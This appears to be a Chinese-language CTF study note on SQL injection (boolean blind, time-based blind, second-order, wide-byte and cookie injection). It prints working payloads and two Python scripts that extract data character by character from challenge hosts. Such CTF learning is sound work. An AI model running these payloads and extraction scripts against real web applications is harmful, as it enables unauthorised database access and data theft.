目录
1.bool盲注
2.时间盲注
3.二次注入
4.宽字节注入
5.cookie注入
bool和时间盲注的返回结果都是无回显的,这就是判断是否为盲注的一个重要特征。
1.bool盲注
基于布尔的盲注是在这样的一种情况下使用:页面虽然不能返回查询的结果,但是对于输入 布尔值 0 和 1 的反应是不同的,那我们就可以利用这个输入布尔值的注入点来注入我们的条件语句,从而能根据页面的返回情况推测出我们输入的语句是否正确(输入语句的真假直接影响整条查询语句最后查询的结果的真假)
一般bool是会用到if()语句来判断的
如何判断是否为bool注入
布尔盲注只有true跟false,也就是说它根据你的注入信息返回true和false两个,而不是返回报错信息 如果输入的语句被过滤了,也可能会返回一些语句来说明被过滤了。
总结:
bool盲注就是会返回true false 和要报错的语句。
注意:
另外,虽然我们构造语句的目的是让整条语句在某种情况下最后查不到结果,但是这其中其实隐含了两种情况,一种就是真的没有查到结果,使得页面的返回有所不同,但是还有一种可能就是我们构造语句让其报错,这样同样让页面的返回有所不同,但是我个人往往不愿意将这种报错的模式再另外划分出一个什么报错盲注,这里我就统一将其划分到布尔盲注中了,因为本质是一样的,所以这一部分还会设计一些报错注入的东西。
mid或者substr(str,start,length) :字符串截取
right或者left:(截取的字符串,截取长度)
ORD或者ascii() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
database() :查看当前数据库名
user() :查看当前用户
加#号
这就是bool注入所需要的脚本,还有上面所需的语句,要判断是否为bool注入的话,可以用if length substr ord ascii mid 等来判断。判断出来后就可以用脚本开始来跑。
bool注入的一道例题
[CISCN2019 华北赛区 Day2 Web1]Hack World
首先跑下bp字典,看下哪些东西被过滤了。
长度为482的都是被过滤的。
简单试了下,发现1和2返回的结果不同,而且输入其他的东西会返回bool(false),就有点怀疑是bool注入.
if(ascii(substr((select(database())),1,1))>101,1,2) //返回1
if(ascii(substr((select(database())),1,1))=1,1,2) //返回2
# //返回bool(false)
length //返回的是过滤语句
以后也可以拿上面的语句来测试是否为bool注入。
order by (判断有多少列)是和union注入一起用的
所以可以判断出这是个bool注入。
接下来直接上脚本跑(盲注的题一般都会用到脚本来跑)
import requests
import time
flag = ''
def funss(jige):
url = 'http://2dbe92b2-f5af-421e-b9ff-2812805a35d6.node4.buuoj.cn:81/' #不同的题要修改不同的url
sql = "if(length(bin(ascii(substr((select(flag)from(flag)),{},1))))=7,1,2)" .format(
jige)# sql里面的语句可以根据题目的不同来更改
data = {"id": sql} #这里面的id要根据不同题目给的注入点名字的不同来修改
re = c.post(url, data=data, timeout=1000)
time.sleep(1)
if re.status_code == 200:
if 'Hello' in re.text: #这个Hello也是,根据题目给的不同回应来修改,这个Hello是输入为1的时候返回的值 到时候就修改这里
len = 7
else:
len = 6
else:
print(jige)
exit(0)
str = ''
for i in range(1, len+1):
sql = 'if(substr(bin(ascii(substr((select(flag)from(flag)),{},1))),{},1)=0,1,2)'.format(
jige, i) #这个sql和上面说的一样,也要修改
data = {"id": sql} #这个id也要修改
re = c.post(url, data=data, timeout=1000)
time.sleep(1)
if re.status_code == 200:
if 'Hello' in re.text: #Hello需要修改
str += '0'
else:
str += '1'
else:
print(jige)
exit(0)
return chr(int(str, 2))
c = requests.session()
for i in range(1, 100):
flag += funss(i)
print(flag)
最后就能跑出flag. (就是有点慢)
2.时间盲注
时间盲注也是无回显的,判断和bool差不多,但是得换成sleep()函数来判断,看是否存在延迟,如果存在,那就是延迟注入。
sleep() //延迟函数
if(condition,true,false) //条件语句
ascii() //转换成ascii码
substring("string",strart,length) //mid()也一样,取出字符串里的第几位开始,长度多少的字符If表达式:IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3
Mid函数:MID(column_name,start[,length])
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
延时注入的原理就是,所要爆的信息的ascii码正确时,产生延时,否则不延时
所用到的函数和bool差不多,只是换成了sleep()。
1' and if(ascii(substr(database(),1,1))=114,1,sleep(5))#
判断是否执行,可以打开bp看看页面是否有过一会才显示出界面。如果是的话,则为时间注入。
以下为脚本
import requests
import time
s = requests.session()
url = 'http://f734016e-561a-4e5c-bbe2-2866eba7d248.node4.buuoj.cn:81/comments.php?name='
flag = ''
i = 0
d = 0
while d == 0:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
# payload = f'1%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3))'
# payload = f'1%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3))'
payload = f'1%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3))'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
r.encoding = "utf-8"
print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
3.二次注入
这个师傅写的文章可以拿来学习,又详细又有例子说明。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=' ,也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
主要就是这句话,先设置了密码,这就造成了一个漏洞
4.宽字节注入
Hr-Papers|宽字节注入深度讲解 - FreeBuf网络安全行业门户
可以看看这篇文章,讲的很详细了,所谓宽字节注入,就是会把' --> \' 我们的绕过方法就是了解它是什么类型的编码,然后利用该类型的编码来合并掉\,使得'能够闭合。例如gbk编码的话,就可以用%df来闭合,%df加上\是一个汉字,就会使得'闭合。接下来的注入就可以使用union或者报错注入来注入了。
5.cookie注入
【SQL注入】cookie注入:原理、步骤、示例_51CTO博客_sql注入原理
可以看看这篇文章,讲的挺详细的,cookie注入就是把原本get post 传的值变成了cookie传。然后就其他的就都一样了。union或者报错注入。